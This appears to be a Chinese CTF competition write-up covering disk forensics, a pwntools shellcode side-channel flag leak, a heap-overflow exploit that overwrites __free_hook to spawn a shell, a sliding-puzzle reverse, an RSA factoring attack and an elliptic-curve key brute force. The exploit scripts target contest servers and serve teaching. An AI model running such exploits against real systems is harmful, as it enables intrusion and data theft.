Misc
溯源取证——张三的电脑
下载得到压缩包,经过判断类型后得知是 VMDK
文件,用 vmware 挂载。其中得到了 zhangsan.001
和 zhangsan.ad1.txt
两个文件
winhex挂载 zhangsan.001
,在分区1的 $RECYCLE.BIN
中找到 tips.txt.txt
文件,内容为
In order to prevent leaving evidence, Zhang San deleted all the key evidence photos.
因此寻找 png 文件,同样在分区1的 $RECYCLE.BIN
中找到了包含相应的 flag 图片 $REFK9A1.png
Pwn
secretcode
掏出初赛的代码稍微改改
from pwn import *
import sys
# context.log_level = "debug"
context.arch = 'amd64'
if len(sys.argv) < 2:
debug = True
else:
debug = False
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
def pwn(p, index, ch):
# open
shellcode = "push 0x1003caaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "and ecx,0x15;inc ecx;"
shellcode += "s:push 2; pop rax; push rcx;syscall; pop rcx;loop s;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
pay = shellcode.ljust(0x40 - 4, b'a') + b'flag'
log.warning(hex(len(pay)))
p.sendafter("==\n", pay)
index = 0
ans = []
while True:
for ch in range(0x20, 127):
try:
if debug:
p = process("./chall")
else:
p = remote('47.104.169.149', 25178)
pwn(p, index, ch)
start = time.time()
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)
print("".join([chr(i) for i in ans]))
p.interactive()
babynote
abs32的洞,直接上下无限堆溢出
from pwn import *
import sys
context.log_level = "debug"
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./chall")
libc = ELF("/home/daidaishou/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6")
else:
p = remote("47.104.169.149","14269")
libc = ELF("./libc-2.27.so")
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
def menu(i):
sla('> ', str(i))
def add(sz, c):
menu(1)
sla('size> ', str(sz))
sa('msg> ', c)
def free(i):
menu(3)
sla('idx> ', str(i))
def edit(i, offset, c):
menu(2)
sla('idx> ', str(i))
sla('offset> ', str(offset))
sa('msg> ', c)
def show(i):
menu(4)
sla('idx> ', str(i))
debugf()
add(0x29c, b'Chunk_0\n')
add(0x200, b'Chunk_1\n')
add(0x78, b'Chunk_2\n')
add(0x21f, b'Chunk_3\n')
add(0x18, b'/bin/sh\n')
edit(0, 0x80000000, b'\x07'*0x5e + b'\n')
free(1)
edit(3, 0x80000000, b'a'*0x52 + p64(0x80+0x210) + p64(0x230) + b'\n')
free(3)
add(0x200, 'Chunk_1\n')
show(2)
libc.address = u64(rv(6) + b'\x00'*2) - 0x3ebca0
log.warning(hex(libc.address))
free_hook = libc.sym['__free_hook']
edit(0, 0x80000000, b'\x01'*(12+0x80)+p64(free_hook)*0x60 + b'\n')
add(0xd8, p64(libc.sym['system']) + b'\n')
free(4)
p.interactive()
Re
abc
动调,发现输入主要是进入一个case语句
__int64 __fastcall sub_401406()
{
char *v0; // rax
int v1; // ecx
v1 = *v0;
switch ( v1 )
{
case '#': // 右
return sub_400A65();
case '$': // 上
return sub_40085B();
case '%': // 左
return sub_400B6D();
case '@': // 下
return sub_40095D();
}
sub_4013EE();
return sub_400C6F();
}
分别查看四个函数,发现主要是将内存中的-1与另一个数据进行交换
最后的验证逻辑为
v10 = __ROR4__(__ROL4__(0x75DFBD5B, 15) ^ 0xDEADBEEF, 10);// 1
for ( i = v10; i < 15; i = i - 84 + 85 )
{
sub_400CBA();
if ( box[i] - box[i - 1] != 1 )
v10 = __ROR4__(__ROL4__(0x7DDFBD5B, 15) ^ 0xDEADBEEF, 10);
}
内存中总共有16个数字,猜测是一个十六格的拼图
1, A, 2, 3,
5, D, 6, 4,
9,-1, 7, B,
E, F, C, 8
其中-1可以上下左右交换位置
手动解一下,远程验证
$$##@@%%$##@@%$$#@%%%@#$%@##$%%@##$%@#$#@
executable_pyc
工具还原字节码,根据字节码手动恢复出python脚本,得到加密逻辑
def e2(m):
assert type(m) == bytes
l = len(m) // 2
m1 = s2n(m[:l])
m2 = s2n(m[l:])
p = gen_prime(1024)
q = gen_prime(1024)
pp = g.next_prime(p + 2333)
qq = g.next_prime(q + 2333)
e = g.next_prime(65535)
ee = g.next_prime(e)
n = p * q
nn = pp * qq
c1 = n2s(pow(m1, e, n))
c2 = n2s(pow(m2, ee, nn))
print (str(n), nn.digits(), (c1 + c2).hex())
后面就是解密码题了,需要找出p和q
因为素数的频率大概在 $\ln(n)$ 的时间复杂度,所以 $pp$ 和 $p$ 以及 $qq$ 和 $q$ 的差距很小,大概在 $p+2333+\ln(p)$ 附近。
所以让 $pp=p+x, qq=q+y$。有 $n=pq, nn=pp*qq=(p+x)(q+x)=n+py+qx+xy$
让 $dn=nn-n=py+qx+xy=py+xn/p+xy$,有 $yp^2+(xy-dn)p+xn=0$
如果让 $p$ 有解,则让 $\Delta=(xy-dn)^2-4xyn=x^2y^2-2\cdot dn\cdot xy+(dn)^2-4xyn>0$ 且能够保证 $\Delta$开出整数方根。函数如下
def qiugen(x, y, dn):
cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n
cur_root = root(cur, 2)
if cur_root ** 2 == cur:
up = dn - x * y + cur_root
if up % (2 * y) == 0:
ans = up // (2 * y)
return ans
return -1
然后开始遍历x,y,考虑到素数频率,可以大致确定x,y范围为[2333, 2333+1024]。将其范围扩展到[2333, 4333]。这样遍历的范围在4000000次qiugen函数运算。
考虑到nn确定,所以x,y之间应该满足某种条件。
$\Delta=x^2y^2-2dn\cdot xy+(dn)^2-4xyn=h^2-(2dn+4n)h+(dn)^2$,其中$h=xy$。如果需要让$\Delta>0$,需要$h<dn+2n-2*sqrt(dn\cdot n+n^2)$,约为6174696。
所以可以令x遍历[2333,4333],令y遍历[2333,6174696/x],即可找到真正的x,y。即可得到p,q,pp,qq。
from Qmath import root
from libnum import *
from gmpy2 import next_prime
n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593056153329019331663146921270200309620591339456771948171473174493228003768777355758929283942611167959313149646888081882056633536206394514157657102927145569575772516981907153659054180860331268989018643271316833183194539111739812416472551511615664022982639779869597584768094658974144703654232643726744397158318139843
nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593061197309859493502461339998035893727381543475878482841368750058482267744297318087515308976122481608145274938058888809506400916026737269420025654685431401793700398817215185170304169141953786566489760847593258253794575454082327627379713144072687287826518630644255675609067675836382036436064703619178779628644141463
cipher = 0x22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39ed77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea35400060006328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66cb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9f309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270
dn = nn - n
def qiugen(x, y, dn):
cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n
cur_root = root(cur, 2)
if cur_root ** 2 == cur:
up = dn - x * y + cur_root
if up % (2 * y) == 0:
ans = up // (2 * y)
return ans
return -1
for x in range(4333, 2333, -1):
if (x - 2333) % 100 == 0:
print x
for y in range(6174700 // x, 2332, -1):
cur_ans = qiugen(x, y, dn)
if cur_ans != -1:
print cur_ans
if n % cur_ans == 0:
p = cur_ans
q = n // p
print cur_ans
pp = next_prime(p + 2333)
qq = next_prime(q + 2333)
print (n2s(pow(c1, invmod(0x10001, (p - 1) * (q - 1)), p * q)))
print (n2s(pow(c2, invmod(0x10003, (pp - 1) * (qq - 1)), pp * qq)))
Crypto
crack point
已知椭圆曲线正常加密,key的位数过小,大步小步法爆破2的39次方到2的40次方寻找key=436370150383,算出
point2 = (54874480268135442592960451774606422130 : 54593336491331150503709607435043296744 : 1)
flag = cipher - point_2得到最终点